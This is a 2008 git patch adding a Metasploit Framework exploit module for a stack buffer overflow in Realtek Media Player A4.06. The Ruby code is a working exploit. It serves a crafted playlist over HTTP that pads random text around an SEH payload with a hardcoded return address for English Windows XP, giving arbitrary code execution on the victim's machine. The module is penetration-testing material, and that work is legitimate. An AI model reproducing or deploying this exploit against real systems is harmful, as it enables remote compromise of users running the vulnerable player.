From f1093ee6a9d02de67a69eba1a6563d1c523bed47 Mon Sep 17 00:00:00 2001 From: Mario Ceballos Date: Sat, 20 Dec 2008 01:49:40 +0000 Subject: [PATCH] added exploit module realtek_playlist.rb. git-svn-id: file:///home/svn/framework3/trunk@6029 4d416f70-5f16-0410-b530-b9f4589650da --- .../exploits/windows/misc/realtek_playlist.rb | 71 +++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 modules/exploits/windows/misc/realtek_playlist.rb diff --git a/modules/exploits/windows/misc/realtek_playlist.rb b/modules/exploits/windows/misc/realtek_playlist.rb new file mode 100644 index 0000000000..d58ff068c4 --- /dev/null +++ b/modules/exploits/windows/misc/realtek_playlist.rb @@ -0,0 +1,71 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Realtek Media Player Playlist Buffer Overflow.', + 'Description' => %q{ + This module exploits a stack overflow in Realtek Media Player(RtlRack) A4.06. + When a Realtek Media Player client opens a specially crafted playlist, an + attacker may be able to execute arbitrary code. + }, + 'License' => 'MSF_LICENSE', + 'Author' => [ 'MC' ], + 'Version' => '$Revision: $', + 'References' => + [ + [ 'BID', '32860' ], + ], + 'Payload' => + { + 'Space' => 550, + 'BadChars' => "\x00", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Realtek Media Player(RtlRack) A4.06 (XP Pro All English)', { 'Ret' => 0x72d12899 } ], # msacm32.drv 5.1.2600.0 (xpclient.010817-1148) + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 16 2008', + 'DefaultTarget' => 0)) + + end + + def autofilter + false + end + + def check_dependencies + use_zlib + end + + def on_request_uri(cli, request) + + return if ((p = regenerate_payload(cli)) == nil) + + pla = rand_text_alpha_upper(200) + pla << generate_seh_payload(target.ret) + pla << rand_text_alpha_upper(1266) + + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") + + send_response_html(cli, pla, { 'Content-Type' => 'text/plain' }) + + handler(cli) + + end + +end